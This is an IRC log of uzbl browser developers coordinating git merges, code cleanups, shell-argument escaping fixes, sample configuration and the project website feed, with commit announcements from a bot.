19:14 < rob|> everyone breaking already working things owes me a beer ;)
19:17 < barrucadu> Dieterbe: git diff dieterbe/experimental is still giving a 0 line diff though <.>
19:25  * Dieterbe slaps barrucadu 
19:26 < Dieterbe> did you overwrite get.php?
19:26 < barrucadu> Dieterbe: Maybe <.>
19:26 < Dieterbe> barrucadu: well, you screwed the site :)
19:26 < barrucadu> I merged your uzbl-website repo before I uploaded any changes though
19:26 < barrucadu> Oops :p
19:30 < Dieterbe> ah i see the mistake
19:31 < Dieterbe> it may have been my mistake after all:P
19:31 < Dieterbe> fixed
19:32 < barrucadu> :p
19:32 < barrucadu> Don't foget to commit whatever you did to github ;)
19:32 < Dieterbe> yeah
19:33 < barrucadu> And what's the diff like with my uzbl fork now?
19:33 < barrucadu> I restarted and applied my changes again so it shouldn't be much
19:35 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git diff bar/experimental| wc -l
19:35 < Dieterbe> warning: refname 'bar/experimental' is ambiguous.
19:35 < Dieterbe> 3789
19:35 < Dieterbe> dieter
19:36 < Dieterbe> barrucadu: did you fork from my master? remember you should fork from my experimental
19:36 < Dieterbe> you can even see on the graph there must be a huge diff between us http://github.com/Dieterbe/uzbl/network
19:36 < DuClare> (minimum|default)_font_size and shell_cmd + sh pushed, see http://hikari.serveftp.org/pc2.conf for usage example
19:38 < Dieterbe> it's easier if you just add it to sampleconfig-dev (the goal is that sampleconfig-dev is a demonstration of everything that's possible)
19:38 < barrucadu> Dieterbe: There are only two commits of mine on the network graph
19:39 < barrucadu> Oh, I see
19:39 < Dieterbe> barrucadu: yeah you based yourself on my _master_
19:39  * barrucadu sighs
19:39 < barrucadu> Today is not a good day :p
19:39 < barrucadu> I'm just sorting something else out first, then I'll do this
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19:48 < barrucadu> Right, now to merge changes again…
19:49 < Dieterbe> :)
19:51 < DuClare> Dieterbe,         ((uzbl.behave.shell_cmd ? uzbl.behave.shell_cmd : "sh -c %s"), param);
19:51 < DuClare> Erm, sorry
19:52 < DuClare> Dieterbe, http://github.com/DuClare/uzbl/commit/e4a23d55521aff58cd0c4b4b4db42f81f869b698
19:54 < Dieterbe> that's my boy :)
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20:04 < barrucadu> Dieterbe: have a look now :)
20:06 < Dieterbe> barrucadu: :(
20:06 < barrucadu> What?
20:06 < Dieterbe> i think git is broken now :P
20:06 < barrucadu> Why?
20:06 < Dieterbe> i removed your remote, readded, fetched and diffed again
20:07 < Dieterbe> still 3800 lines :s even though it shouldn't (i checked on github)
20:07 < barrucadu> Try removing the remote and the branch
20:08 < DuClare> barrucadu, git remote rm does it
20:08 < barrucadu> DuClare: if I did a git remote rm dieter, it still left the branches behind - but the remote was gone
20:09 < Dieterbe> yep that fixed it for me
20:10 < Dieterbe> but we have doing it slightly wrong since the beginning
20:11 < Dieterbe> with our first approach we always had non-remote-tracking branches called bar/experimental for example
20:11 < Dieterbe> i discovered later we're just supposed to add the remote , fetch it if necessary, and you get remote-tracking branches.
20:11 < Dieterbe> then you can immediately merge such branches into your own
20:14 < DuClare> Heh
20:14 < DuClare> That's why I got a bunch of unwanted branches when I forked you
20:14 < Dieterbe> :))
20:15 < Dieterbe> i'll try to get rid of them
20:15 < DuClare> I was going to ask why you don't just use remote ... but then I figured you probably have your reasons
20:15 < DuClare> Dieterbe, You get rid of them by pushing an empty repo in their place
20:16 < DuClare> Erm, empty refspec
20:16 < DuClare> Source.
20:17 < Dieterbe> here's how i did it:
20:17 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git branch -D dus/master
20:17 < Dieterbe> Deleted branch dus/master (was 94ed974).
20:17 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git push origin :dus/master
20:17 < Dieterbe> To git@github.com:Dieterbe/uzbl.git - [deleted]         dus/master
20:17 < DuClare> Yup
20:17 < Dieterbe> works like a charm
20:18 < DuClare> In refspec, the source comes before the colon.. but since there's nothing, it's empty and thus it removes the branch at origin
20:22 < Dieterbe> heh.
20:22 < Dieterbe> since when do we have no str_replace anymore?
20:24 < barrucadu> No idea. I added it back in as my two xdg functions need it
20:25 < Dieterbe> rob| / DuClare ? where did our str_replace go?
20:26 < DuClare> Umm, I might have removed it when getting rid of old cfg stuff.  It was unused.
20:26  * barrucadu vanishes in the direction of food, unfortunately not pizza
20:33 < Dieterbe> don't worry about it, i just had chicken.. delicious chicken :)
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20:42 < DuClare> rob|, Do you want error reporting in setup_regex?
20:47 < DuClare> Actually
20:48 < DuClare> Dieterbe, Do you want more error reporting or do I get rid of the unused error variables?
20:50 < Dieterbe> uuhh.. error reporting ? what ? where?
20:50 < Dieterbe> ps the new south park episode rocks :)
20:50 < DuClare> In places where you have GError but don't actually use it
20:50 < DuClare> I'm cleaning them up
20:50 < DuClare> Freeing those that actually get used and getting rid of those that are there but are never used
20:51 < Dieterbe> well, we should just have error reporting where it makes sense
20:51 < DuClare> Okay
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20:54 < Dieterbe> barrucadu: you tested all the new xdg stuff right?
20:59 < DuClare> Pushed a few little cleanups related to error reporting
21:01  * barrucadu returns
21:01 < barrucadu> Dieterbe: Yes, I've been using it for quite a while now
21:02 < Dieterbe> okay
21:02 < Dieterbe> your code generates a few warnings but that's not that critical
21:02 < DuClare> :<
21:05 < Dieterbe> nice work guys
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21:05 < Dieterbe> it's good that we are with several contributors, everyone does a bit and the whole thing gets a lot better :)
21:08 < barrucadu> Dieterbe: I also added a missing if (uzbl.state.verbose) and emoved the two XDG_*_default variables in two later commits, so you need to merge again
21:13 < Dieterbe> k
21:16 < DuClare> Looks like we're above 1.7ksloc :x
21:17 < barrucadu> Nooo
21:17 < DuClare> Is there a reason the unused vars & defs were not removed?  Can I remove them?
21:17 < barrucadu> Which unused vas and defs?
21:18 < DuClare> Do you read compiler output?
21:18 < DuClare> saveptr, XDG_CONFIG_HOME_default, XDG_CONFIG_DIRS_default
21:18 < barrucadu> Yes, but you said 'vars' and I only see one, ‘saveptr’ :p
21:19 < barrucadu> I remoted the XDG ones in a later commit
21:19 < DuClare> Ok
21:20 < barrucadu> I don't think the unused saveptr is serving any purpose, so feel free to remove it
21:20 < Dieterbe> barrucadu: have you heard anything from dusanx btw?
21:20 < barrucadu> Dieterbe: Nope, I was going to ask where he was…
21:21 < Dieterbe> he disappeared 
21:22 < barrucadu> Maybe he just needed some time off and didn't give any warning, like me
21:22 < Dieterbe> yeah probably
21:22 < Dieterbe> hey look at http://github.com/Dieterbe/uzbl/network weird
21:22 < Dieterbe> my most recent commits were merges, but you don't see it like arrows coming together anymore
21:23 < Dieterbe> well actually, that's good i think. that's how the graph is supposed to work, so we must be doing something good :)
21:23 < barrucadu> :)
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21:26 < Dieterbe> @peak
21:26 < dev_null> Dieterbe: github set a record of 49 people in #uzbl on May 16, 2009 at 03:47 PM CET. You'll need 7 more people to break the peak.
21:26 -!- Irssi: #uzbl: Total of 43 nicks [0 ops, 0 halfops, 0 voices, 43 normal]
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21:31 < github> uzbl: Barrucadu experimental SHA1-414c3c9
21:31 < github> Added check for uzbl.state.verbose when calling scripts.
21:31 < github> http://bit.ly/l5mhe
21:31 < github> uzbl: Barrucadu experimental SHA1-08b23f4
21:31 < github> Removed unrequied XDG_*_default variables.
21:32 < github> http://bit.ly/kzx78
21:32 < github> uzbl: Dieter Plaetinck experimental SHA1-3db5561
21:32 < github> merge Barrucadus patch
21:32 < github> http://bit.ly/vJn2W
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21:32  * barrucadu sees how the find_xdg_file function could be improved
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21:39 < github> uzbl: Dieter Plaetinck experimental SHA1-7173758
21:39 < github> few more verbosity checks
21:39 < github> http://bit.ly/1H9Rbj
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21:39 < DuClare> Dieterbe, Is uzbl.state.uri always url-escaped?
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21:40 < Dieterbe> DuClare: not sure.. you'll have to check
21:40 < Dieterbe> i'm gonna watch a movie now. see you later
21:40 < DuClare> Ok
21:41 < barrucadu> What movie? :)
21:46 < barrucadu> Dieterbe: I left those lines without a verbosity check because they're nice indications everything is working properly, I think they should be shown by default. Perrhaps we could add a --silent flag which supresses all output
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22:14 < DuClare> I'll have to write an escape & quote system anyway.. spawn and sh are looking for trouble when the title (or any other var, for that matter) contains quotes and other stuff that interferes with the shell.
22:19 < DuClare> Not tonight though, I need some rest.
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22:49 < DuClare> Dieterbe, The TODO file ought to be cleaned up and reformatted, because currently it's next to useless.  I have some thoughts but we'll discus tomorrow.  Good night o/
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23:35 < Dieterbe> barrucadu: dukes of hazzard
23:38 < Dieterbe> barrucadu: yeah when i went over them i consired that option, but still these are things that generate errors (or at least they should) when things fail, so not showing the "success" output makes sense
23:47 < barrucadu> Dieterbe: ok
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00:13 < github> uzbl: Dieter Plaetinck experimental SHA1-8d0abbb
00:13 < github> todos/docs cleanup
00:13 < github> http://bit.ly/jFfUT
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00:22 < Dieterbe> good night all
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02:17 < M2tias> hi
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08:27 < Dieterbe> morning all
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09:55 < DuClare> Morning
09:55 < DuClare> M2tias \o/
09:58 < Dieterbe> o_O
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10:00 < barrucadu> Hi
10:00 < barrucadu> My 'r' key is now more or less useless, it baely works :(
10:00 < barrucadu> I;ve had to bind '[' to 'r' to be able to type properly…
10:06 < Dieterbe> huh? why?
10:06 < DuClare> Because the key broke? :]
10:07 < barrucadu> yes
10:07 < barrucadu> It's very irritating
10:09 < DuClare> barrucadu needs a new kinesis :x
10:10 < barrucadu> It's a laptop, carrying around an extra keyboard would be a hassle :p
10:11 < DuClare> Meh.
10:11 < barrucadu> Hopefully there is just something underneath the key messing it up
10:13 < Dieterbe> oh, you mean it's a hardware problem
10:13 < Dieterbe> i thought there was a bug in uzbl
10:13 < barrucadu> That would be an odd bug :p
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10:20 < Dieterbe> i'm fixing the defineable title format btw
10:21 < DuClare> It's funny that in glib, there's g_strstr_len, g_strrstr, g_strrstr_len but no g_strstr
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10:41 < blokkie> good morning
10:41 < Phillemann> Morning...
10:41 < DuClare> o/
10:43 < Dieterbe> heya
10:43 < DuClare> room
10:44 < Phillemann> Hmmmm, how do you manage your uzbl scripts? Entering /script/path/script.sh foobar is too much typing...
10:45 < DuClare> Use a better text editor :)
10:46 < Phillemann> Hm, I just noticed, you're not supposed to start those scripts from a plain shell. :>
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10:53 < github> uzbl: Dieter Plaetinck experimental SHA1-ae20aa3
10:53 < github> SELECTED_URI variable + allow variable replacing in window title in both states
10:53 < github> http://bit.ly/PVnFa
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11:29 < github> uzbl: Dieter Plaetinck experimental SHA1-c66bf8d
11:29 < github> pretteh default colors
11:29 < github> http://bit.ly/E4RFO
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11:32  * barrucadu considers that running into a wall repeatedly may be more productive than continuing to play with GtkSocket/GtkPlug
11:35 < Dieterbe> :)
11:35 < Dieterbe> barrucadu: did you read my thoughts/explanation on multiple instances management?
11:36 < barrucadu> yes, I'm just struggling to get anything woking at all currently :p
11:37 < M2tias> hey guys, have you tried photobucket with uzbl?
11:37 < M2tias> it seg faults
11:38 < DuClare> M2tias, Url, version
11:39 < DuClare> The front page runs just fine here
11:39 < Dieterbe> barrucadu: well then.. what's the use for gtksocket/plug?
11:39 < M2tias> www.photobucket.com and local/uzbl-git 20090510-1
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11:40 < barrucadu> Dieterbe: last line if docs/multiple-instance-management, "…all this stuff is implemented outside of uzbl…"
11:40 < barrucadu> *of
11:41 < barrucadu> So I'm attempting to make a simple tabbing app
11:41 < DuClare> M2tias, What is the latest commit?
11:41 < barrucadu> Unless I've completely misinterpreted the file… :p
11:41 < M2tias> DuClare: I don't know
11:41 < Dieterbe> barrucadu: well.. my idea was to use dmenu-vertical
11:41 < Dieterbe> barrucadu: no need for "in house" apps
11:42 < Dieterbe> let alone for gtksocket/plug
11:42 < barrucadu> ok then
11:44 < Dieterbe> barrucadu: dmenu-vertical from AUR, if you don't have it yet. you'll notice that loading from history/bookmarks will also look better with the vertical version
11:46 < barrucadu> I have yet to migrate my bookmarks to uzbl, when I do I'll be sure to have a look
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12:07 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [master] git commit -m 'pull in experimental stuff'
12:07 < Dieterbe> [master dfa1b83] pull in experimental stuff
12:07 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [master] git status
12:07 < Dieterbe> # On branch master
12:07 < Dieterbe> # Your branch is ahead of 'origin/master' by 163 commits.
12:07 < Dieterbe> ^^
12:07 < Dieterbe> not bad
12:08 < barrucadu> :)
12:20 < barrucadu> Dieterbe: I just noticed in the readme that it mentions "--verbose=VERBOSE", but no value needs to be specified
12:20 < barrucadu> I'll fix it :)
12:22 < barrucadu> Done
12:38 < Dieterbe> you didn't just fix it in the readme, but also in uzbl itself i hope
12:40 < barrucadu> yes
12:47 < Dieterbe> damn.. i can't make a screenshot of dmenu-vertical :(
12:47 < Dieterbe> it shows up as big black block
12:50 < _19LIONZ> Dieterbe: Sorry If the question is stupid . What is dmenu-vertical used for in uzbl ?
12:55 < Dieterbe> _19LIONZ: i just made a screenie
12:55 < Dieterbe> if you can wait a minute, i'll post it on the site
12:57 < _19LIONZ> Dieterbe: ok . thanks
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13:00 < Dieterbe> http://www.uzbl.org/img/screenshot-2.png
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13:03 < Dieterbe> _19LIONZ: uzbl.org :)
13:03 < Dieterbe> barrucadu: ^^
13:04 < DuClare> Dieterbe!
13:04 < DuClare> Dieterbe, Do you mind if the syntax of sh and spawn change a bit?
13:04 < Dieterbe> depends :P
13:04 < DuClare> Dieterbe, We need to separate different args properly
13:05 < DuClare> I'd use two spaces as a delimiter
13:05 < DuClare> glib provides a func for unescaping, so if you need more than one space within one arg, you can escape them
13:06 < Dieterbe> and why not adding " around the args? you can escape them if needed ( \" )
13:07 < DuClare> Dieterbe, Requires more code because you can't use g_strsplit
13:07 < DuClare> Basically you'd need to do the splitting manually
13:08 < Dieterbe> but we and what about http://library.gnome.org/devel/glib/stable/glib-Shell-related-Utilities.html#g-shell-parse-argv ?
13:08 < DuClare> No
13:09 < DuClare> Well maybe
13:09 < DuClare> Hmm..
13:10 < DuClare> There's g_shell_quote o_O
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13:16 < Dieterbe> they should really put some examples in their docs :P
13:16 < M2tias> :D
13:17 < DuClare> I don't need examples, I'd just like it if they linked more ...
13:24 < Dieterbe> barrucadu: our newsfeed has invalid syntax
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13:30 < barrucadu> Dieterbe: ok, one minute
13:32 < barrucadu> This is odd…
13:33  * barrucadu continues prodding the feed
13:39 < barrucadu> Now it's not parsing the php at all…
13:39 < barrucadu> And I didn't touch the .htaccess file, so it should be…
13:39  * barrucadu is a bit confused
13:40 < DuClare> Dieterbe, I pushed a somewhat critical fix wrt spawning scripts.  Now single quotes in the page title won't make the calls fail.
13:40 < barrucadu> If I rename it to atom.php it works, so it's not a problem with the code…
13:42 < barrucadu> Working!
13:42 < barrucadu> ^^
13:42 < M2tias> when did you update aur's ulzb (master branch)?
13:43 < DuClare> M2tias, Ages ago
13:43 < DuClare> Master is outdated and buggy
13:43 < DuClare> Use experimental
13:43 < M2tias> ok :o
13:43 < DuClare> Actually, Dieterbe might have done something to master
13:43 < barrucadu> M2tias: DuClare: Dieter synced master with experimental earlier
13:44 < DuClare> Yeah, Dieterbe updated master about an hour ago
13:44 < M2tias> oh
13:44 < DuClare> 163 commits.  Well, it *was* buggy and outdated. :)
13:44 < M2tias> :D
13:48 < DuClare> Right...
13:48 < DuClare> FML
13:49 < DuClare> I spent hours on that quote thingy, only to find that there's g_shell_quote, only to find that there's already a fix in diet's branch -_-
13:49 < DuClare> Dieterbe, Your thing is leaking though
13:50 < M2tias> :D
13:50 < DuClare> Dieterbe, And it doesn't handle bad filenames and urls
13:52 < M2tias> "==> Searching for new version on AUR \n uzbl-git: up to date"
13:52 < M2tias> :o
13:55 < barrucadu> I think I'll migrate my bookmarks to uzbl now; I've just made a script that will allow up to 98 tags per bookmark, just in case I ever need that many :p
13:58 < barrucadu> Hmm, it it just me or does Uzbl print out a lot of blank lines?
13:58 < DuClare> barrucadu, Are you setting http_debug?
13:58 < barrucadu> When a page is loading
13:58 < barrucadu> I think it's set to 0
13:58 < DuClare> Remove it
13:59 < barrucadu> ok
13:59 < DuClare> I can fix it though
13:59 < barrucadu> ok
14:01 < Dieterbe> DuClare> Dieterbe, I pushed a somewhat critical fix wrt spawning scripts.  Now single quotes in the page title won't make the calls fail. <-- uhm fixed that this morning :)
14:02 < DuClare> Dieterbe, Yeah, and I spent all mornig fixing it.  But see what I said about yours -- it's leaking , and it doesn't fix filenames
14:02 < DuClare> Meh, too many typos.
14:02 < Dieterbe> DuClare: what's there about filenames to fix?
14:03 < Dieterbe> barrucadu: can you make it that it serves the entire news message in the feed? not just the first part
14:03 < DuClare> Dieterbe, uzbl -n "foo'bar"
14:04 < Dieterbe> DuClare: hmmm... okay, i guess we should be a little more robust against user stupidity :P
14:04 < DuClare> Dieterbe, Anyway, either drop my fix and fix your leaks or drop your fix and use my fix :P
14:05 < barrucadu> Dieterbe: done
14:05 < DuClare> And if you drop my fix, then fix filename stuff too.:>
14:06 < Dieterbe> barrucadu: hmm my client does not show the screenshots, it shows the plain html code
14:07 < DuClare> barrucadu, Actually, I might not be able to fix the empty lines that easily.  Seems like a libsoup bug
14:08 < barrucadu> Dieterbe: That's also fixed
14:10 < Dieterbe> barrucadu: hmmzzz my client does not render the screenshots
14:10 < Dieterbe> barrucadu: thoughit looks like they are in the source
14:11 < barrucadu> Dieterbe: can you see the screenshots if you go straight to http://www.uzbl.org/atom.xml ?
14:14 < Dieterbe> barrucadu: if i go to http://www.uzbl.org/atom.xml with firefox it only shows the titles, except post #1 where it also shows the content. if i click on the title it takes me to http://www.uzbl.org/news.php?id=4
14:15 < Dieterbe> if i wget the file i see the images in the source though:
14:15 < Dieterbe> <a href="/img/screenshot-1.png"><img src="/img/screenshot-1-thumb.png" alt="screenshot thumbnail" /></a>
14:15 < Dieterbe> and the feed is served as : Content-Type: text/htm
14:16 < Dieterbe> html*
14:16 < Dieterbe> so that looks good
14:16 < barrucadu> Strange, if I go to the page in Opera o Uzbl it shows the content properly...
14:16 < barrucadu> *or
14:17 < Dieterbe> aha, the ultimate test. good point
14:17 < Dieterbe> uzbl --uri http://www.uzbl.org/atom.xml :P
14:17 < barrucadu> :p
14:18 < Dieterbe> indeed that works :/
14:18  * DuClare just tried firefox.  It feels amazingly slow after uzbl :O
14:18  * barrucadu just noticed something after running uzbl
14:18 < barrucadu> "(uzbl:19925): Gdk-CRITICAL **: gdk_window_set_title: assertion `title != NULL' failed" gets printed several times
14:19 < Dieterbe> yeah, i'm the proud author of that :)
14:19 < Dieterbe> something with update_title() being called somewhere before settings_init() has run
14:19 < barrucadu> *idea*
14:20 < barrucadu> I can check when it's called with my c2flow script ^^
14:20 < DuClare> Dieterbe, Are you going to merge what I did?  I'm waiting so I can merge back
14:20 < Dieterbe> barrucadu: great :)
14:20 < Dieterbe> barrucadu: i noticed it's quite difficult though.. all the stuff that happens in main (), many things depend on each other, I'm not sure if it's possible to create a "linear dependency chain"
14:21 < Dieterbe> barrucadu: but we can always do a simple if(uzbl....title) check in update_title
14:21 < Dieterbe> DuClare: hold on. i'll compare your fix with mine
14:22 < barrucadu> update_title() gets called many times by functions which get called by create_browser(): http://misc.barrucadu.co.uk/uzbl
14:24 < Dieterbe> DuClare: well, your fixes looks nicer then mine
14:24 < DuClare> Not really, they look bloated and fugly..  but it takes care of everything and shouldn't leak :>
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14:25 < Dieterbe> DuClare: i'll mergein yours. hold on
14:26 < Dieterbe> barrucadu: btw , check the very last line in sample config.. surprise ! ;)
14:26 < barrucadu> A home page thing ^^
14:26 < barrucadu> I noticed the commit :p
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14:35 < github> uzbl: DuClare experimental SHA1-8ef2b13
14:35 < github> Escape shell commands properly.
14:35 < github> http://bit.ly/ANs4T
14:35 < github> uzbl: DuClare experimental SHA1-34a7103
14:35 < github> Report spawns on verbose only.
14:35 < Dieterbe> DuClare: done and pushed. carry on :)
14:35 < github> http://bit.ly/WpgUC
14:35 < github> uzbl: Dieter Plaetinck experimental SHA1-b8ffed5
14:35 < github> merge in Duclares better way to escape things in run_command
14:35 < github> http://bit.ly/WfpVo
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14:36 < DuClare> Thank you.
14:38 < oxmoz_> Dieterbe: the thing is, when you set a default home page in config file, the --uri option no longer works, I'd suggest that option should override the default home page in config file
14:38 < oxmoz_> maybe by creating a default_uri option instead?
14:38 < Dieterbe> oxmoz_: remember the config is a sample config
14:40 < DuClare> Did somebody start working on loading script(s) from file?
14:41 < Dieterbe> jouz gave it a shot, but i think he got stuck on the %s replacing part
14:41 < DuClare> Yup
14:51 < barrucadu> I'm going out to get some lunch now, and by the time I get back I expect lots of work to have been done. So, get working! :p
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15:00 < github> uzbl: Dieter Plaetinck experimental SHA1-d95daa1
15:00 < github> cleaner and more robust status/window format & update_title stuff
15:00 < github> http://bit.ly/14cqxw
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15:08 < _19LIONZ> How can I use yank.sh & clipboard.sh ?
15:09 < DuClare> _19LIONZ, bind y = spawn /path/to/clipboard.sh yank
15:09 < DuClare> _19LIONZ, Though you can do it without the script
15:10 < DuClare>  6 set shell_cmd          = sh -c %s ''
15:10 < DuClare> 35 bind y          = sh 'echo -n $6 | xclip'
15:10 < DuClare> 36 bind p          = sh '(echo -n "act uri "; xclip -o; echo "") > $4'
15:11 < DuClare> _19LIONZ, http://hikari.serveftp.org/pc2.conf
15:14 < Dieterbe> nice
15:14 < Dieterbe> is this in my code also?
15:14 < DuClare> Sh stuff?
15:14 < Dieterbe> yea
15:15 < DuClare> Should be
15:15 < DuClare> Yup, it is
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15:19 < rob|> hey guys
15:19 < DuClare> Hi rob
15:19 < Dieterbe> heey rob| 
15:19 < rob|> wow, lot of work has been done again. nice :)
15:20 < _19LIONZ> DuClare: thanks , It didn't work for me yet but I'll will test more
15:20 < Dieterbe> i just noticed that if you do "foo = bind spawn <command> arg1", your command will receive first arg1 and then the "usual" args (fifo etc) (unlike handlers etc). are you guys ok with it if in function spawn() i split the string in 2 at the first space, so that i can make the arguments in the right order?
15:21 < DuClare> Right order?
15:21 < DuClare> Dieterbe, I depend on that behavior, actually.. :x
15:21 < Dieterbe> rob|: yeah and i made a beatiful matching colortheme for dmenu-vertical (see uzbl.org for screenie :P )
15:21 < DuClare> I think it's pretty nice
15:22 < DuClare> Dieterbe, It's logical that scripts check for $1 if there are user args
15:22 < DuClare> Like in my config, ~/.uzbl/pl checks $1 for "new"
15:22 < _19LIONZ> I got these errors when I start uzbl
15:22 < DuClare> Prefer pastebin
15:22 < Dieterbe> DuClare: but we _always_ pass arguments like fifo path etc, and they have clearly defined positions. it becomes really ugly if theorder gets messed up
15:22 < _19LIONZ> Error in command: set   useragent       uzbl (Webkit %webkit-major%.%webkit-minor%.%webkit-micro%)
15:22 < _19LIONZ> Error in command: set   max_conns       4
15:22 < _19LIONZ> Error in command: set   max_conns_host  12
15:23 < DuClare> You're missing equals signs
15:23 < DuClare> Dieterbe, Sure
15:23 < DuClare> Dieterbe, Actually, feel free to move them.  I can adapt my scripts.
15:24 < DuClare> Just don't touch shellcmd :>
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15:25 < _19LIONZ> DuClare: they are missing from sampleconfig-dev
15:25 < Dieterbe> DuClare: 
15:25 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] grep -c shellcmd  uzbl.c
15:25 < Dieterbe> 0
15:25 < DuClare> shell_cmd
15:25 < Dieterbe> _19LIONZ: i'll fix it in the sample config
15:25 < _19LIONZ> Dieterbe: thanks
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15:27 < happydawn> DuClare, I was looking at you config... what does your pl script do ?
15:28 < DuClare> happydawn, Launches a new instance, using $2 as the uri
15:28 < DuClare> I'm writing a new script as we speak.  It'll do some session management and cleanup after the instance exits.
15:30 < rob|> Dieterbe: the symbol names need to be updated, too
15:31 < Dieterbe> rob|: how do you mean?
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15:32 < Dieterbe> guys is this the correct way to check if there is a 2nd element?:
15:32 < Dieterbe> gchar** cmd = g_strsplit(param, " ", 2);
15:32 < Dieterbe>     if (cmd) {
15:32 < Dieterbe>         run_command(cmd[0], cmd[1] ? cmd[1] : NULL, FALSE, NULL);
15:32 < Dieterbe>     }
15:33 < Dieterbe> or could i have a garbled "fake" cmd[1]
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15:35 < DuClare> Does it matter what there is in cmd[1]?
15:35 < DuClare> Well, I guess it does
15:36 < DuClare> You could always printf it and see how it behaves
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15:40 < DuClare> Got a few things to do, bbl
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15:52 < rob|> Dieterbe: according to the docu it should be "if(cmd[0]) { your stuff }" and you need to make sure param != "" before calling g_strsplit
15:57 < Dieterbe> yeah ok
15:57 < happydawn> can one disable flash in webkit without uninstalling flashplugin ?
15:57 < Dieterbe> but i wanted to check if there is a cmd[1]
16:05 < rob|> yes, if there is no cmd[0] there is no cmd[1]
16:05 < rob|> otherwise there is a cmd[1] but it might be NULL
16:05 < rob|> you check for that already, though
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16:14 < github> uzbl: Dieter Plaetinck experimental SHA1-744c2e2
16:14 < github> order of arguments to scripts
16:14 < github> http://bit.ly/bjf9R
16:14 < github> uzbl: Dieter Plaetinck experimental SHA1-2a552a8
16:14 < github> working yank script
16:14 < github> http://bit.ly/u1lzK
16:15 < github> uzbl: Dieter Plaetinck experimental SHA1-2ca1c57
16:15 < github> bring back non-dev sample config
16:15 < github> http://bit.ly/gR747
16:15 < github> uzbl: Dieter Plaetinck experimental SHA1-8c4c968
16:15 < github> syntax fixes
16:15 < github> http://bit.ly/u6A25
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16:16 < oxmoz_> Dieterbe: I pushed a few commits on my experimental repos, if you want to throw an eye
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16:17 < oxmoz_> and I'm currently working on porting uzbl to cmake
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16:21 < xci> is uzbl supposed to be all blank when you start it the first time without any scripts?
16:21 < Dieterbe> xci: yep
16:22 < Dieterbe> oxmoz_: well i don't like your default_uri one, but you knew that already. thanks for your "uzbl: rename proxy_url to proxy_host" one, but _host is almost as equally bad as _url. i think we should make it just "proxy" and nothing more
16:22 < oxmoz_> why don't you like default_uri?
16:23 < oxmoz_> well nvm
16:23 < Dieterbe> because it's less usefull then what we already have
16:23 < xci> okay, is there a script-set everyone is encouraged to download?
16:23 < Dieterbe> xci: well actually, we will make uzbl a bit more usable by default without scripts, so that's on the todo
16:24 < Dieterbe> xci: the examples that come with uzbl
16:24 < rob|> hmm, just an idea - though how do you feel about adding window geometry information to the parameter a script gets from uzbl? that way we could for example let dmenu-vertical appear at a fix position on the corresponding uzbl instance..
16:24 < rob|> and probably much more
16:25 < xci> Dieterbe: okay
16:25 < rob|> that would almost emulate a separate "awesome-style" bar per instance..
16:25 < Dieterbe> rob|: rob| we already at 8 or 9 "parameters by default", so that's a bit much, knowing one needs to use shift functions to get the 10+ ones, now that we have the socket interface we should probably work a bit more on that, that scripts can just ask for what they need
16:27 < Dieterbe> ones we actually implement getting responses from the socket, we could slim the list of "parameters by default" a bit down
16:27 < Dieterbe> once*
16:27 < rob|> right, even better idea! though i'd like to export that information
16:28 < rob|> i guess it should be read only, though?!
16:28 < ruskie> why not just export everything one can think off... I mean after all people will generally find some use with it
16:28 < xci> hmm, I guess it is also not a bug that it is not possible to write anything to text areas
16:28 < Dieterbe> xci: read the FAQ
16:28 < rob|> xci: hit i
16:29 < ruskie> don't forget to export the page source and the rendered page so that someone can open that up in whatever script/editor they want to use it... and the rendered page so that one can export to whatever ;)
16:29 < Dieterbe> rob|: how about setting a lot of environment variables? all childs are able to get them, but I think if they modify them, the other childs don't see the changes. not sure though
16:30 < rob|> hmm, i think we have enough means to set/get values no need for another one
16:30 < ruskie> but why would one need anything more than window id then use something like wmctrl to get everything else?
16:30 < ruskie> i.e. geometry and stuff
16:30 < rob|> ruskie: well, good point!
16:31 < Dieterbe> well, my window manager doesn't support the .. what's it called.. NETWM (?) spec, so wmctrl doesn't work :(
16:31 < ruskie> ahh
16:31 < ruskie> EWMH iirc
16:32 < Dieterbe> OTOH i think this is more the fault of my WM then anything else
16:32 < Dieterbe> yeah that
16:32 < ruskie> you sure it doesn't?
16:32 < Dieterbe> yeah
16:32 < Dieterbe> dieter@dieter-ws-a7n8x-arch ~ wmctrl -m
16:32 < Dieterbe> Cannot get window manager info properties.
16:32 < Dieterbe> (_NET_SUPPORTING_WM_CHECK or _WIN_SUPPORTING_WM_CHECK)
16:32 < ruskie> lol
16:32 < rob|> xwininfo is all you need
16:33 < Dieterbe> rob|: well i was already thinking further.. you know.. scripts to focus/hide instances etc
16:33 < ruskie> also why should geometry be read only... someone might want to programatically set it to something else ;)
16:34 < xci> rob|, Dieterbe: yeah I actually tried to use this VI-like, but for me everything I type goes straight into the status bar, even if I press esc first
16:34 < Dieterbe> it's lowercase i
16:35 < xci> yeah I know
16:35 < Dieterbe> did you load the sample config?
16:37 < xci> okay seems that I did not, now works as I expected - thanks
16:37 < Dieterbe> rob|: i've also been thinking about something else.. remember the "variable iteration -> state generation" part.. i think we are looking too far.  maybe we should just make uzbl pass on --config <file> paths, I don't think it's that important (let alone, expected behaviour) to copy the full state.  if users know uzbl works like this, they also know when they have to use --config and what things to pass through stdin/socket/fifo
16:37 < barrucadu> I'm back :)
16:37 < barrucadu> Ooh, stuff to merge
16:38 < rob|> Dieterbe: well, ok. we could postpone this, though.
16:39 < Dieterbe> rob|: i'm not talking about postponing. i'm suggesting we should just design uzbl in such a way that it passes on --config <..>, but not it's full own state.  i think a behaviour like that is OK
16:40 < rob|> that's what we currently do
16:40 < rob|> so it is already designed in that way
16:40 < Dieterbe> yeah indeed, though i'm not 100% sure if it still works
16:41 < rob|> for me it works great
16:41 < Dieterbe> rob|: i suggest we keep it like this. for those rare cases where users might have done configuration changes at runtime and wish to keep them, we could write a config "generator" that regenates the config file. that would be a better approach
16:42 < rob|> ok, so let's stick to what we have
16:43 < Dieterbe> k
16:43 < xci> wow - this project seems very cool, since I nowadays use vimperator but don't like firefox otherwise very much
16:44 < xci> and binding keys seems to be made easy
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16:47 < github> uzbl: Dieter Plaetinck experimental SHA1-644e9c6
16:47 < github> doc/todo updates
16:47 < github> http://bit.ly/sJ2nv
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16:50 < Dieterbe> so rob| , what are you going to hack on today ? :P
